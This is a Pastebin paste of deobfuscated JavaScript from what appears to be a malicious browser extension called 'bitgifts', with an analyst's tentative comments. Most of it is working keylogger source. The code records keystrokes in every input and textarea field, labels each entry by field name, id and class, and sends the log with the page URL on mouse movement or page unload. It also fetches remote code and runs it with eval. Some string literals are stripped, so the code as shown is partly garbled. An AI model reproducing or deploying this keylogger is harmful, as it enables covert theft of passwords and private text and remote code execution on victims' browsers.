Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // \x0A is the equalsto of return
- // I'm not sure how this works, but it appears to allow you to use, for example, body in place of "body" in your code.
- var _0x2eb2 = ["", "length", "body", "URL", "title", "sendRequest", "extension", "keydown", "input, textarea", "keyCode", "~", "on", "keypress", "[", "name", "attr", " #", "id", "prop", " ", "class", "]", "\x0A", "charCode", "fromCharCode", "mousemove", "onbeforeunload", "bitgifts", "getItem", "bitgifts-c", "getTime", "data", "setItem"];
- var kt = ;
- var pu = ;
- var ss = false;
- setTimeout(ijCheck, 50);
- function ijCheck() {
- // This is a check whether the page has loaded, I believe. If it has, install the keylogger on the page.
- if ($(body)[length]) {
- chrome[extension][sendRequest]({
- url: document[URL],
- title: document[title]
- }, function (geet) {});
- // This adds a "~" to denote backspacing, I believe.
- $(body)[on](keydown, input, textarea, function (key) {
- if (key[keyCode] == 8) {
- kt += ~
- }
- });
- // For every keypress into a text area on a website, do this:
- $(body)[on](keypress, input, textarea, function (key) {
- // This writes a header for your text input, so they know where you entered it.
- var hab = [ + $(this)[attr](name) + # + $(this)[prop](id) + + $(this)[attr](class) + ];
- // If this is a different text box, start a new line, write the header, and start a new line for what it logs.
- if (pu != hab) {
- kt += _0x2eb2[22] + hab + _0x2eb2[22];
- pu = hab
- };
- // Add the keypress on the newline we created.
- if (String[fromCharCode](key[charCode])) {
- kt += String[fromCharCode](key[charCode])
- }
- });
- // As soon as the user moves their mouse again...
- $(body)[mousemove](function () {
- // Check whether what we have logged is of sufficient length, and be sure we're not already in the process of sending...
- if (kt[length] > 100 && !ss) {
- ss = true;
- // Then send the data.
- chrome[extension][sendRequest]({
- url: document[URL],
- post: kt
- }, function (geet) {});
- kt = ;
- pu = ;
- ss = false
- }
- })
- } else {
- // If the page hasn't loaded, try again in 50 milliseconds.
- setTimeout(ijCheck, 50)
- }
- };
- window[onbeforeunload] = function () {
- chrome[extension][sendRequest]({
- url: document[URL],
- post: kt
- }, function (geet) {})
- };
- if (!localStorage[getItem](bitgifts)) {
- fetchCS()
- } else {
- if (localStorage[getItem](bitgifts-c) > new Date()[getTime]() - (120 * 1000)) {
- eval(localStorage[getItem](bitgifts))
- } else {
- fetchCS()
- }
- };
- function fetchCS() {
- chrome[extension][sendRequest]({
- getcs: true
- }, function (geet) {
- localStorage[setItem](bitgifts, geet[data]);
- localStorage[setItem](bitgifts-c, new Date()[getTime]());
- eval(geet[data])
- })
- };
Advertisement
Add Comment
Please, Sign In to add comment